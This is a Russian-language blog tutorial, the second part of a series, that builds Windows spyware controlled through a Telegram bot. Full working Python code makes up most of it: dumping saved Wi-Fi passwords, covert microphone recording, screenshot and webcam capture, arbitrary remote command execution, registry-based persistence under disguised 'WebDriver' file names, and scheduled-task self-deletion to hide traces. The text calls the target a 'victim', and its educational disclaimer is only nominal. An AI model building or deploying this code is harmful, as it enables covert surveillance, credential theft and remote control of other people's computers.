Введение

Ссылка на первую часть, немного ужал название)

Всем привет, в этой части мы добавим функционала нашему SpyWare, чтоб было поинтереснее следить за кем то отслеживать что творится с нашим компом, пока нас нет рядом. Давайте начинать =)

Дисклеймер
Дисклеймер

Функционал

Давайте заранее рассмотрим структуру нашего проекта, чтобы было понятно, где и какие файлы хранятся. Дерево нашего проекта выглядит следующим образом:

TGSpySystem:.
│   config.py
│   main.py
│   tg_config.py
│
├───modules
│       audio.py
│       cmd_shell.py
│       destroyer.py
│       getinfo.py
│       pc_eyes.py
│       regedit.py
│       __init__.py
│
├───temp
│       webDriver.bat
│       webDriverUpdates.vbs
│
└───tg
        dispatcher.py
        handlers.py
        utils.py
        __init__.py

А теперь можно переходить к самому интересному. В прошлой части мы уже написали простенький метод, который будет сигнализировать нам о том, что кто-то уже авторизовался в системе. Напишем еще один маленький метод который будет отвечать на наш запрос в случае, если ПК еще включен. Метод до безобразия прост и находится в handlers.py:

@dp.message_handler(commands="check")
async def system_check(message: types.Message):
    await message.answer("System status: online")

Он будет отвечать на наш запрос /check сообщением "System status: online" и ничего более тут не происходит)

Получение информации

Переходим к разработке нашего первого и самого объемного модуля GetInfo который находится по пути modules\getinfo.py. С его помощью мы будем собирать полезную информацию как IP адрес, пароль от Wi-Fi или запущенные процессы нашей victim цели. Для начала импортируем необходимые модули и создадим наш класс с его первым методом get_pc_info().

import psutil
import platform
import socket
import getpass
from datetime import datetime
from uuid import getnode as get_mac


class GetInfo:

    @staticmethod
    def get_pc_info() -> str:
        username = getpass.getuser()
        ip = socket.gethostbyname(socket.gethostname())
        mac = get_mac()
        os_info = platform.uname()
        zone = psutil.boot_time()
        os_time = datetime.fromtimestamp(zone)
        cpu_data = psutil.cpu_freq()

        result = (f"Username: {username}\n"
                  f"local IP address: {ip}\n"
                  f"MAC address: {mac}\n"
                  f"Timezone: {os_time.year}/{os_time.month}/{os_time.day}"
                  f" {os_time.hour}:{os_time.minute}:{os_time.second}\n"
                  f"Operating System: {os_info.system}\n"
                  f"Processor: {os_info.processor}\n"
                  f"Max Frequency: {cpu_data.max:.2f} Mhz\n"
                  f"Min Frequency: {cpu_data.min:.2f} Mhz\n"
                  f"Current Frequency: {cpu_data.current:.2f} Mhz\n")

        return result

Так как нам не нужен доступ ни к классу ни к его экземплярам, мы можем делать этот метод статическим. Методу не требуются входные данные, при помощи сторонних модулей он собирает интересную для нас информации и возвращает нам легко читабельный результат отформатированные при помощи f-строк. И сразу же добавляем хэндлер для нашего нового метода в handlers.py.

@dp.message_handler(commands="pc_info")
async def send_pc_info(message: types.Message):
    result = modules.GetInfo.get_pc_info()
    await message.answer(result)

При получении ботом команды /pc_info он будет запускать метод get_pc_info(), так как метод статический, инициализация класса не обязательна, на не нужен доступ к его внутренним переменным и данным. Мы отнесли этот метод сюда, так как он схож по своей сути и цели с остальными методами класса и таким образом мы объединяем их в группу.

Следующий метод get_connection_info() выдает нам данные о скорость загрузки и отдачи нашего интернет соединения. Метод так же ничего не принимает на вход и является статическим.

from speedtest import Speedtest


@staticmethod
def get_connection_info() -> str:
    start = datetime.now()
    inet = Speedtest()

    download_speed = float(f"{str(inet.download())[0:2]}.{str(round(inet.download(), 2))[1]}") * 0.125
    upload_speed = float(f"{str(inet.upload())[0:2]}.{str(round(inet.download(), 2))[1]}") * 0.125

    ends = datetime.now()
    work_speed = format(ends - start)

    result = (f"Work speed: {work_speed}\n"
              f"Download: {download_speed} MB/s\n"
              f"Upload: {upload_speed} MB/s\n")

    return result

Для работы метода нам необходимо импортировать сторонний модуль Speedtest, а datetime мы уже импортировали ранее. С его помощью мы получаем значения загрузки и отдачи данных также получаем время до и после выполнения, чтобы узнать затраченное время. В конце форматируем результат и возвращаем его. И снова добавляем обработчик для нового метода.

@dp.message_handler(commands="con_info")
async def send_connection_info(message: types.Message):
    result = modules.GetInfo.get_connection_info()
    await message.answer(result)

Получив /con_info, бот отправит нам информацию о скорости интернет соединения. Инициализировать GetInfo снова не нужно.

Теперь рассмотрим маленький метод get_process(), данный метод просто выводит нам список запущенных процессов и немного информации о них. Как и зачем им пользоваться ? Я думаю каждый найдет свой ответ)

from subprocess import Popen, PIPE


@staticmethod
def get_process() -> str:
    return ' '.join([line.decode("cp866", "ignore") for line in Popen("tasklist", stdout=PIPE).stdout.readlines()])

Снова статический метод, который, если опустить все подробности, просто выполняет tasklist форматирует и возвращает результат. Для работы импортировать Popen и PIPE. Сейчас наш обработчик немного изменится.

@dp.message_handler(commands="proc_info")
async def send_process_info(message: types.Message):
    result = modules.GetInfo.get_process()
    await reply_handler(message=message, data=result)

Так как максимальная длинна сообщения/поста в Telegram 4096 символов, нам необходим некий обработчик, чтобы избежать ошибок. Так как такая ситуация встречается не только в этом случае, я решил вынести этот метод в другой модуль (вдруг потом появятся еще утилиты). Так же избегаем повторения кода и соблюдаем принцип программирования DRY.

Наш метод reply_handler(message: types.Message, data: str) будет храниться в файле tg\utils.py.

async def reply_handler(message: types.Message, data: str):
    if len(data) > 4096:
        for x in range(0, len(data), 4096):
            await message.answer(data[x:x + 4096])
    else:
        await message.answer(data)

Так как наш бот асинхронный, его утилиты тоже должны быть асинхронными. Конечно можно было делать бота синхронным, но изначальна я думал разрешить нескольким пользователям мониторить систему, а чтоб можно было выполнять несколько процессов параллельно, нам нужна асинхронность, если будет интересно, доработаем нашу систему для нескольких пользователей. На вход мы получаем контекст сообщения и данные необходимые для обработки. Проверяем длину сообщения и дробим его при необходимости, а после отправляем результат.

Следующий метод get_wifi_info() был очень полезен для меня. Если кто-то приходит в гости и просит пароль от твоего Wi-Fi, а ты вечно не знаешь где он и тебе лень его искать. Всегда можно посмотреть с помощью этого метода. Ну или использовать его еще для каких то целей, например попадания в одну сеть для ...

from subprocess import check_output


@staticmethod
def get_wifi_info() -> str:
    passwords = []
    data = check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
    wifi_list = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
    for wifi in wifi_list:
        results = check_output(['netsh', 'wlan', 'show', 'profile', wifi, 'key=clear']).decode('cp866').split('\n')
        results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
        try:
            passwords.append(f'Network name: {wifi}\nPassword: {results[0]}')
        except IndexError:
            passwords.append(f'Network name: {wifi}, Password not found!')
    return "\n".join(passwords)

Снова статический метода и для его работы нам нужен метод check_output, который выполнит команду и вернет нам результат. После мы его обрабатываем и получим все Wi-Fi и их пароли к которым когда-либо подключался ваш ПК. В случае ноутбуков это более интересно, так как у меня было около 20 таких связок и почти все они были действительны до сих пор. К сожалению метод только для русских версий Windows, руки не дошли переписать его через регулярные выражения на две версии. Ну и конечно же хэндлер.

@dp.message_handler(commands="wifi_info")
async def send_wifi_info(message: types.Message):
    result = modules.GetInfo.get_wifi_info()
    await message.answer(result)

Тут все стандартно, отправляем команду /wifi_info и наблюдаем результат в нашем чате с ботом.

Ну и настало время крайнего, но не менее интересного метода get_pub_ip_info(self). Он позволяет получить данные о публичном IP адресе и данные о нем (страна, город, провайдера и т.д.). Все это благодаря сторонним сервисам.

import requests
from bs4 import BeautifulSoup


def get_pub_ip_info(self) -> str:
    public_ip = requests.get('https://api.ipify.org').text
    try:
        page_response = requests.get(f'https://check-host.net/ip-info?host={public_ip}')
        if page_response.status_code == 200:
            page_content = BeautifulSoup(page_response.content, "html.parser")
            ip_info = page_content.find("div", {"id": "ip_info-ipgeolocation"})
            print(ip_info)
            return self.__ip_answer_formatting(ip_info.text)
        else:
            return f"Check permissions, status code: {page_response.status_code}"
    except requests.Timeout as e:
        self.__request_count += 1
        if self.__request_count > 5:
            return f"Need timeout: {e}"
        else:
            self.get_pub_ip_info()
    except Exception as e:
        return f"Error: {e}"

Для работы метода нам необходимо импортировать модули requests и самый полезный, на мой взгляд, модуль для скрапингаbs4. Далее мы получаем наш публичный IP адрес благодаря гетовому запросу на https://api.ipify.org/. После чего отправляем так же гетовый запрос на https://check-host.net/ip-info?host={public_ip}, где в конце добавляем наш, полученный ранее, IP адрес, проверяем статус код и парсим всю необходимую нам информацию. После чего форматируем наш результат другим методом __ip_answer_formatting(ip_info: str), который мы вынесли отдельно, чтоб не захламлять наш код.

@staticmethod
def __ip_answer_formatting(ip_info: str) -> str:
    __answer_list = []
    ip_data_list = list(filter(None, ip_info.split("\n")))
    ip_data_list.remove("CIDR")
    for i in range(len(ip_data_list)):
        if (i + 1) % 2 != 0:
            __answer_list.append(f"{ip_data_list[i]}: ")
        else:
            __answer_list.append(f"{ip_data_list[i]}\n")
    return "".join(__answer_list)

Метод просто форматирует результат в более читаемый вид, давайте закроем глаза на то, что метод выглядит как костыль)

В конце метода get_pub_ip_info(self) идет обработка исключений, так как я столкнулся только с одним, я сделал так, чтоб бот присылал мне новые сам и я их обрабатывал позже. Но для первого исключения нам нужно инициализировать переменную класса.

def __init__(self):
    self.__request_count = 0

Она будет считать количество не успешных соединений и если их больше 5, прерывать работу метода сообщением об ошибке. Ну и конечно же не забываем про наш хэндлер.

@dp.message_handler(commands="pub_ip_info")
async def send_connection_info(message: types.Message):
    result = modules.GetInfo().get_pub_ip_info()
    await message.answer(result)

Так как метод не статический и ему нужен доступ к переменным нашего экземпляра, нам необходимо инициализировать GetInfo() и только потом, вызвать наш метод. Для запуска нужно отправить команду /pub_ip_info.

Наши глаза и уши

В этой части мы рассмотрим работу сразу двух модулей, но чем то похожих между собой(наверное просто связаны с чувствами человека как зрение и слух). Модуль modules\pc_eyes.py отвечающий за наше зрение и modules\audio.py за наш слух. Начнем со слуха)

import wave
import pyaudio
from config import RECORD_PATH


class AudioRecording:

    @staticmethod
    def recording(second: int = 5) -> str:
        chunk = 1024
        formats = pyaudio.paInt16
        channels = 2
        rate = 44100
        p = pyaudio.PyAudio()
        stream = p.open(format=formats,
                        channels=channels,
                        rate=rate,
                        input=True,
                        frames_per_buffer=chunk)
        frames = []

        for i in range(0, int(rate / chunk * second)):
            data = stream.read(chunk)
            frames.append(data)

        stream.stop_stream()
        stream.close()
        p.terminate()

        wf = wave.open(RECORD_PATH, "wb")
        wf.setnchannels(channels)
        wf.setsampwidth(p.get_sample_size(formats))
        wf.setframerate(rate)
        wf.writeframes(b''.join(frames))
        wf.close()
        return RECORD_PATH

Импортируем модули pyaudio и wave. Первый кроссплатформенный модуль ввода-вывода звука. Второй используем для сохранения аудио файла. Также из файла .config.py импортируем RECORD_PATH, который указывает место хранения файла.

import os
import tempfile


PC_TEMP_DIR = tempfile.gettempdir()
RECORD_PATH = os.path.join(PC_TEMP_DIR, "sound.wav")

Тут мы видим часть нашего .config.py. Модуль tempfile получает путь к директории с временными файлами из переменной окружения ОС и хранит его в PC_TEMP_DIR, мы еще не раз увидим эту переменную, там мы будем хранить наши временные файлы, которые нам не нужны и подлежат удалению.

Наш новый метод recording(second: int = 5) на вход получает количество секунд для нашей аудио записи, по умолчанию 5 секунд. Далее мы настраиваем параметры звука записи, разбиваем ее по частям и записываем в байтах. В конце возвращаем путь к нашему файлу на ПК жертвы. Теперь хэндлер.

@dp.message_handler(commands="audio")
async def send_audio(message: types.Message):
    if len(message.text.split(" ")) == 2:
        seconds_count = int(message.text.split(" ")[-1])
        audio_path = modules.AudioRecording.recording(seconds_count)
    else:
        audio_path = modules.AudioRecording.recording()
    await message.answer_audio(open(audio_path, "rb"))
    os.remove(audio_path)

Срабатывает при команде /audio, можно передавать с параметром, указывающим на количество секунд (Пример: /audio 10). Я не добавлял никаких проверок и исключений ибо надеюсь, что никто не додумается пихать в команду строки и гигантские значения, это добавите в пару строк сами, при необходимости. Тут мы просто проверяем количество аргументов и в конце удаляем наш файл с компа.

Теперь рассмотрим модуль отвечающий за наше зрение)

import cv2
import win32api
import win32con
import win32gui
import win32ui
from PIL import Image
from config import SCREENSHOT_PATH, WEBCAM_SCREEN_PATH


class PCEyes:
    
    @staticmethod
    def __get_dimensions():
        width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
        height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
        left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
        top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
        return width, height, left, top

    def make_screenshot(self):
        hdesktop = win32gui.GetDesktopWindow()
        width, height, left, top = self.__get_dimensions()

        desktop_dc = win32gui.GetWindowDC(hdesktop)
        img_dc = win32ui.CreateDCFromHandle(desktop_dc)
        mem_dc = img_dc.CreateCompatibleDC()

        screenshot = win32ui.CreateBitmap()
        screenshot.CreateCompatibleBitmap(img_dc, width, height)
        mem_dc.SelectObject(screenshot)
        mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

        bmp_info = screenshot.GetInfo()
        bmp_str = screenshot.GetBitmapBits(True)
        img = Image.frombuffer(
            'RGB',
            (bmp_info['bmWidth'], bmp_info['bmHeight']),
            bmp_str, 'raw', 'BGRX', 0, 1)
        img.save(f'{SCREENSHOT_PATH}.jpeg', 'jpeg')

        mem_dc.DeleteDC()
        win32gui.DeleteObject(screenshot.GetHandle())
        return f"{SCREENSHOT_PATH}.jpeg"

    @staticmethod
    def make_webcam_screen() -> str:
        cap = cv2.VideoCapture(0)
        for i in range(30):
            cap.read()

        ret, frame = cap.read()
        cv2.imwrite(WEBCAM_SCREEN_PATH, frame)
        cap.release()
        return WEBCAM_SCREEN_PATH

Как и всегда начинаем с импорта модулей. Возможно появятся вопросы, почему скриншот делается не через Pillow, а через win32, все просто, с первом вариантом у меня было много ошибок и во избежания головной боли я выбрал win32. Сразу рассмотрим наш .config.py.

SCREENSHOT_PATH = os.path.join(PC_TEMP_DIR, "screenshot")
WEBCAM_SCREEN_PATH = os.path.join(PC_TEMP_DIR, "webcam.jpg")

А тут все то же самое, что мы уже наблюдали выше. Так что возвращаемся к нашему модулю. В методе __get_dimensions() получаем разрешение нашего экрана, для скриншота. Методомmake_screenshot(self) делаем его и сохраняем в .jpeg, кстати метод принимает self, что дает нам доступ к атрибутам экземпляра класса, которым и является выше рассмотренный метод __get_dimensions(). Ну и последний, но самый интересный метод на мой взгляд make_webcam_screen() делает снимок с веб-камеры, в первой строчке можно выбирать ее номер и для этого метода мы используем модуль для ComputerVision. Данный метод мне предоставляет больше удовольствия чем игры с revers shell (но он тут тоже будет), только представьте, получаете сообщение от бота, что кто-то запустил ваш ПК. Вы делаете снимок с веб-камеры а там ...

Пушистый хацкер
Пушистый хацкер

Ваш пушистый друг, играет в дотку с вашего компа, пока вы на работе, но это все в лучшем случае) На этой позитивной ноте мы готовы переходить к следующему модулю, хоть он и мал, но открывает безграничные возможности.

Revers Shell

Данный метод хранится в modules\cmd_shell.py.

import subprocess


class Shell:
    
    @staticmethod
    def run_something(something: str) -> str:
        """
        Disclaimer:
        This module is used exclusively for educational purposes.
        I do not support and condemn any cybercrime.

        Remember about escaping characters.
        """
        return subprocess.check_output(something).decode("cp866", "ignore")

Я решил не изобретать тут велосипед и сделал все максимально просто. Вы можете отправить команду на исполнение и не только ... Я думаю тут каждый найдет чем позаниматься, от запуска калькулятора до выхода из системы, модуль на ваше воображение. По этой ссылке вы можете примерно ознакомиться с возможностями, но ограничения только у вас в голове)

Хэндлер для этого волшебного метода выглядит следующим образом.

@dp.message_handler(commands="exec")
async def cmd_exec(message: types.Message):
    if len(message.text.split(" ")) >= 2:
        command = " ".join(message.text.split(" ")[1:])
        try:
            # opens cmd in the tg console and breaks the chat
            if "cmd" not in command:
                exec_data = modules.Shell().run_something(command)
                await reply_handler(message=message, data=exec_data)
        # an error is caused when launching files
        except MessageTextIsEmpty:
            pass
        except CantParseEntities:
            await message.answer("Please use this command with the flag")
        except Exception as e:
            await message.answer(f"New Error: {e}")
    else:
        await message.answer("Write your command")

Тут я сталкивался с большим количеством ошибок, при тестах, там есть пару комментариев и я их тут оставлю для вас. Запускается /exec c - (c - command) таким вот способом, где после первого аргумента идет ваша команда. Кстати, тут нам и пригодился наш обработчик длины сообщений во второй раз.

Закрепление

Какое SpyWare может существовать без модуля, который поможет ему закрепиться в системе, тут мы его и разработаем. Путь к нему modules\regedit.py и давайте приступать к разбору.

import os
from typing import TypeVar
from config import PROJECT_TEMP_DIR, BASE_DIR, MAIN_FILENAME, AUTORUN_NAME, RUN_FILENAME, BAT_FILENAME, PYTHON_INTERPRETER_PATH
from winreg import OpenKey, SetValueEx, DeleteValue, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ

# generic annotations
PyHKEY = TypeVar("PyHKEY")


class RegEdit:
    def __init__(self):
        self.autorun_path: str = os.path.join(PROJECT_TEMP_DIR, RUN_FILENAME)
        self.bat_file_path: str = os.path.join(PROJECT_TEMP_DIR, BAT_FILENAME)
        self.key_reg: PyHKEY = OpenKey(HKEY_CURRENT_USER,
                                       r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                                       0, KEY_ALL_ACCESS)

    def __create_temp_files(self):
        with open(self.bat_file_path, "w") as file:
            file.write(f"@echo off\n"
                       f"{PYTHON_INTERPRETER_PATH} {os.path.join(BASE_DIR, MAIN_FILENAME)}")

        with open(self.autorun_path, "w") as file:
            file.write(f'Set WshShell = CreateObject("WScript.Shell")\n'
                       f'WshShell.Run chr(34) & "{self.bat_file_path}" & Chr(34), 0\n'
                       f'Set WshShell = Nothing')

    def create_autorun(self) -> bool:
        self.__create_temp_files()
        SetValueEx(self.key_reg, AUTORUN_NAME, 0, REG_SZ, self.autorun_path)
        CloseKey(self.key_reg)
        return True

    def delete_autorun(self) -> bool:
        DeleteValue(self.key_reg, AUTORUN_NAME)
        os.remove(self.bat_file_path)
        os.remove(self.autorun_path)
        return True

И сразу .config.py.

import subprocess


BASE_DIR = os.path.dirname(os.path.realpath(__file__))
PROJECT_TEMP_DIR = os.path.join(BASE_DIR, "temp")

# first from venv
PYTHON_INTERPRETER_PATH = (subprocess.check_output("where python", shell=True).decode()).split()[-1]

MAIN_FILENAME = "main.py"
AUTORUN_NAME = "WebDrive"
BAT_FILENAME = "WebDriver.bat"
RUN_FILENAME = "WebDriverUpdates.vbs"

Тут мы получаем путь к python интерпретатору, чтобы не привязываться к venv и выбираем название для нашего сервиса, который далее пойдет в автозапуск. Вернемся к нашим методам и начнем с __init__(self) тут мы определяем атрибуты для нашего класса как ключ реестра, отвечающий за автозапуск и два файла, которые и будут творить всю магию. Метод __create_temp_files(self) создает два файла в .temp каталоге, которые нужны нам для автозапуска. Далее все просто, метод create_autorun(self) устанавливает в значение ключа реестра наш .vbs скрипт и закрывает ключ, а метод delete_autorun(self) наоборот удаляет наш скрипт от туда и удаляет наши временные файлы. Кстати оба эти метода возвращают True либо False, чтоб было легче отследить успех выполнения. Теперь наши хэндлеры.

@dp.message_handler(commands="reg_autorun")
async def add_to_autorun(message: types.Message):
    if modules.RegEdit().create_autorun():
        await message.answer("System append to registry")
    else:
        await message.answer("System don't append to registry")


@dp.message_handler(commands="del_autorun")
async def add_to_autorun(message: types.Message):
    if modules.RegEdit().delete_autorun():
        await message.answer("System del from registry")
    else:
        await message.answer("System don't del from registry")

Для закрепления в системе необходимо отправить команду /reg_autorun и наша программа попадет в список команд, которые запускаются вместе с ПК и для обратного эффекта используем команду /del_autorun. Настало время крайнего модуля.

Заметаем следы

Рассмотрим наш модуль modules\destroyer.py который будет удалять наше ПО с компа и все ее файлы.

import os
import time
import subprocess
from datetime import datetime
from config import TASK_NAME, DESTROYER_FILENAME, BASE_DIR


class Destroyer:

    @staticmethod
    def __create_file_destroyer():
        with open(DESTROYER_FILENAME, "w") as f:
            f.write(f"@echo off\n"
                    f"SCHTASKS /Delete /TN {TASK_NAME} /F\n"
                    f"rmdir /s /q {BASE_DIR}")

    def delete_the_program(self):
        self.__create_file_destroyer()

        unix_timestamp = time.time() + 60
        scheduled_time = datetime.fromtimestamp(unix_timestamp).strftime("%H:%M")

        subprocess.run(rf"SCHTASKS /Create /SC ONCE /ST {scheduled_time} /F /TN {TASK_NAME} /TR {os.path.join(BASE_DIR, DESTROYER_FILENAME)}")

Ну и по традиции сразу взглянем на .config.py.

BASE_DIR = os.path.dirname(os.path.realpath(__file__))

DESTROYER_FILENAME = "destroyer.bat"
TASK_NAME = "WebDriverRemoving"

BASE_DIR нам понадобится, чтоб указать от куда начинать форматирование, далее название нашего файла и имя задачи. Возвращаемся к методам. Метод __create_file_destroyer() создает инструкцию для нашей таски, а delete_the_program(self) создает таску для планировщика, которая выполнится через минуту. Кстати во время тестирования заметил такую вещь, что если запускать это на ноутбуке, то для срабатывания он должен быть подключен к сети. Это можно отключить флажком в самом планировщике в данной таске, но через команду не смог найти, вот ссылка для ваших тасок, если кому будет интересно добавить что-то свое. Ну и куда же без нашего обработчика, в этот раз с ироничным названием.

@dp.message_handler(commands="destroy")
async def red_button(message: types.Message):
    await message.answer("I'm going to miss you!")
    modules.Destroyer().delete_the_program()
    raise SystemExit

Инициализируется самоуничтожение командой /destroy. Получаем наше крайнее сообщение и прощаемся с доступом, генерируем исключение, так как программа удалится в течение минуты.

Также у нас еще есть хэндлер для отключения бота в текущей сессии, работает по команде /exit.

@dp.message_handler(commands="exit")
async def cmd_exit(message: types.Message):
    await message.answer("Goodbye!")
    raise SystemExit

Еще один момент, файл modules\__init__.py.

from modules.regedit import RegEdit
from modules.getinfo import GetInfo
from modules.pc_eyes import PCEyes
from modules.audio import AudioRecording
from modules.cmd_shell import Shell
from modules.destroyer import Destroyer

Так как мы вызываем наши модули только в одном месте. Импортируем сразу все с помощью просто импорта import modules, а не каждого по отдельности в tg\handlers.py.

Заключение

Теперь мы создали полноценный SpyWare, с revers shell-ом и другими приятными фичами, но только в образовательных целях, конечно же). Black Hat это конечно же весело, но можно получить по рукам, так что выбирайте сторону White Hat и там тоже можно получать удовольствие). Надеюсь статья была полезной и информативной для вас, но не забывайте, что это минимальный мануал, многие методы вы можете переписать для ваших задач. Также можете расширить функционал или оптимизировать и поделиться со мной, мне будет интересно посмотреть, ну или можете предложить ваши идеи, постараюсь реализовать в свободное время). Спасибо за уделенное мне время и до новых встреч ;)

Тут оставляю ссылочку на проект еще раз, на всякий)

Также добавляйтесь в друзья в LinkedIn, буду рад новым знакомствам)

Комментарии (0)